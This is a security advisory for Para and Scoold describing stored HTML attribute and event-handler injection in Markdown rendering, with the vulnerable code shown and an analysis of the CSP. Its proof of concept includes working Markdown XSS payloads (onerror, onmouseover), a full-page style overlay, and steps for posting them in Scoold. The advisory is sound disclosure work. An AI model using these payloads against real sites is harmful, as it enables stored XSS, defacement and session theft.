Skip to main content
Menu
Advisories

Scoold / Para — Stored HTML attribute injection in Markdown rendering (event-handler & style injection; stored XSS without strict CSP)

GHSA-X68J-W39M-MGPFPublished Updated GitHub

Description

Para's Utils.markdownToHtml() renders Markdown with flexmark's AttributesExtension enabled. That extension lets Markdown source attach arbitrary HTML attributes to generated elements via the {...} syntax — including JavaScript event handlers (onerror, onmouseover, onclick, …) and style. In the default rendering path (html_in_markdown_enabled=false), the output is not passed through the HTML sanitizer (Jsoup.clean), and the flexmark options that are set (ESCAPE_HTML=true, SUPPRESSED_LINKS for javascript: URLs) do not remove injected attributes.

Scoold renders every question/answer/comment body with this method and prints the result unescaped into its Velocity templates. As a result, any user who can post content can inject HTML attributes into the page viewed by everyone else.

Scoold's default Content-Security-Policy uses script-src … 'strict-dynamic', which in CSP3-capable browsers suppresses the inline event handlers and thereby mitigates JavaScript execution. However:

  • style-src 'self' 'unsafe-inline' is allowed, so CSS/style injection works in the default configuration (defacement, full-viewport overlays / UI-redressing, limited CSS-based exfiltration).
  • The injected event handlers become fully-executing stored XSS when the CSP is turned off (scoold.csp_header_enabled=false), when an operator overrides scoold.csp_header without strict-dynamic, on CSP2-only browsers, and — importantly — in any other application that consumes Para's markdownToHtml without such a CSP.

A notable detail: enabling html_in_markdown_enabled=true is safer against this, because that path runs Jsoup.clean() which strips event handlers and style. The default path is the vulnerable one.

Details

Para 1.55.3 — para-core/.../utils/Utils.java (the renderer and its options):

// getMarkdownOptions()
return new MutableDataSet()
    .set(HtmlRenderer.ESCAPE_HTML, true)
    .set(HtmlRenderer.GENERATE_HEADER_ID, true)
    .set(HtmlRenderer.SUPPRESSED_LINKS, "(?i)javascript:.*")
    ...
    .set(Parser.EXTENSIONS, Arrays.asList(
        TablesExtension.create(), EmojiExtension.create(), StrikethroughExtension.create(),
        TaskListExtension.create(), AutolinkExtension.create(), RelAttributeExtension.create(),
        AttributesExtension.create(),   // <-- allows arbitrary HTML attributes via {...}
        AnchorLinkExtension.create(), InsExtension.create(), GitLabExtension.create(),
        EnumeratedReferenceExtension.create(), MediaTagsExtension.create()));

private static final HtmlRenderer HTML_RENDERER_STRICT = HtmlRenderer.builder(MD_OPTIONS).build();
private static final HtmlRenderer HTML_RENDERER_LOOSE  = HtmlRenderer.builder(MD_OPTIONS.set(HtmlRenderer.ESCAPE_HTML, false)).build();

public static String markdownToHtml(String md) { return markdownToHtml(md, false); }

public static String markdownToHtml(String md, boolean htmlTagsRenderingEnabled) {
    Document parsed = MD_PARSER.parse(md);
    if (htmlTagsRenderingEnabled) {
        return Jsoup.clean(HTML_RENDERER_LOOSE.render(parsed), SAFE_HTML_TAGS); // sanitized
    }
    return HTML_RENDERER_STRICT.render(parsed);  // <-- DEFAULT: NOT sanitized; keeps {...} attributes
}

Source: github.com/Erudika/para/blob/1.55.3/para-core/src/main/java/com/erudika/para/core/utils/Utils.java (methods markdownToHtml, getMarkdownOptions, getHTMLTagsWhitelist).

Scoold — unescaped output of the rendered HTML. Scoold installs a Velocity reference-escaping handler that escapes all references except those whose name contains an underscore:

// ScooldServer.java
velocityProperties.put(RuntimeConstants.EVENTHANDLER_REFERENCEINSERTION,
        "org.apache.velocity.app.event.implement.EscapeHtmlReference");
velocityProperties.put("eventhandler.escape.html.match", "^((?!_).)+$");

github.com/Erudika/scoold/blob/de641df3764b9d3df9c65b19e68f4e8479296b11/src/main/java/com/erudika/scoold/ScooldServer.java#L265-L267

The post body is rendered into an underscore-named variable and printed raw:

## macro.vm
#set($_bodyHtml = $utils.markdownToHtml($!showpost.body, $!htmlInMarkdownEnabled))
$!{_bodyHtml}

github.com/Erudika/scoold/blob/de641df3764b9d3df9c65b19e68f4e8479296b11/src/main/resources/templates/macro.vm#L864-L865 (the same pattern applies to comments — $!{_commentHtml} — and answer previews — $_answerBody.)

$utils is Para's Utils instance, and htmlInMarkdownEnabled defaults to false:

// ScooldRequestInterceptor.java
modelAndView.addObject("htmlInMarkdownEnabled", CONF.htmlInMarkdownEnabled()); // default false

github.com/Erudika/scoold/blob/de641df3764b9d3df9c65b19e68f4e8479296b11/src/main/java/com/erudika/scoold/utils/ScooldRequestInterceptor.java#L206

Scoold default CSP (what mitigates the script vector in modern browsers but allows style):

// ScooldConfig.getDefaultContentSecurityPolicy()
"style-src 'self' 'unsafe-inline' fonts.googleapis.com accounts.google.com …; "
"img-src 'self' https: data:; "
"script-src 'unsafe-inline' https: 'nonce-{{nonce}}' 'strict-dynamic';"

github.com/Erudika/scoold/blob/de641df3764b9d3df9c65b19e68f4e8479296b11/src/main/java/com/erudika/scoold/ScooldConfig.java#L3815-L3831

Proof of concept

What was executed verbatim (component-level)

Para's getMarkdownOptions() STRICT configuration was reproduced exactly (ESCAPE_HTML=true, SUPPRESSED_LINKS="(?i)javascript:.*", AttributesExtension enabled) against the real flexmark-java 0.64.8 and rendered. Output:

MD  : ![img](https://example.com/x.png){onerror=alert(document.cookie)}
HTML: <p><img src="https://example.com/x.png" alt="img" onerror="alert(document.cookie)" /></p>

MD  : # Heading {onmouseover=alert(1)}
HTML: <h1 onmouseover="alert(1)">Heading</h1>

MD  : normal *text*{onmouseover=alert(document.domain)} here
HTML: <p>normal <em onmouseover="alert(document.domain)">text</em> here</p>

MD  : [linktext](https://example.com){onmouseover=alert(1)}
HTML: <p><a href="https://example.com" onmouseover="alert(1)">linktext</a></p>

MD  : para text {style="position:fixed;top:0;left:0;width:100%;height:100%" onclick=alert(1)}
HTML: <p style="position:fixed;top:0;left:0;width:100%;height:100%" onclick="alert(1)">para text</p>

MD  : [x](javascript:alert(1))
HTML: <p>x</p>          (the javascript: LINK is suppressed — but attribute injection is not)

The onerror case needs no user interaction: the attacker-controlled image URL simply has to fail to load, and the handler runs.

End-to-end in Scoold (steps)

  1. Register/sign in as any user (Scoold allows self-registration by default).
  2. Create a question, answer, or comment whose body is, for example: `` Hello ![x](https://invalid.invalid/x.png){onerror="alert(document.domain)"} ` or, for the style/CSS-injection vector that works even under the default CSP: ` Click me {style="position:fixed;top:0;left:0;width:100vw;height:100vh;z-index:9999;background:#fff"} ``
  3. Any user who views that post receives the injected attribute in the page HTML ($!{_bodyHtml} is printed unescaped).
  • With the default CSP in a modern browser: the style overlay renders (defacement / UI-redressing); the onerror handler is blocked by strict-dynamic.
  • With CSP disabled or without strict-dynamic (both supported via scoold.csp_header_enabled / scoold.csp_header), or on a CSP2-only browser: the onerror/onmouseover handler executes → stored XSS in the Scoold origin.

Impact

  • Default configuration, modern browser: stored CSS/style injection by any registered user affecting all viewers — page defacement, full-viewport clickjacking/UI-redressing overlays, limited CSS-based data exfiltration (img-src https: permits background:url(https://attacker/…)).
  • CSP disabled/weakened, legacy browsers, or other Para-based apps: stored XSS — session/CSRF-token theft, actions as the victim (including moderators/admins), account takeover.
  • Because the flaw is in Para's shared markdownToHtml, every application built on Para that renders user Markdown is affected unless it independently sanitizes or applies a strict CSP.

Affected versions

References

GitHub · Erudika/para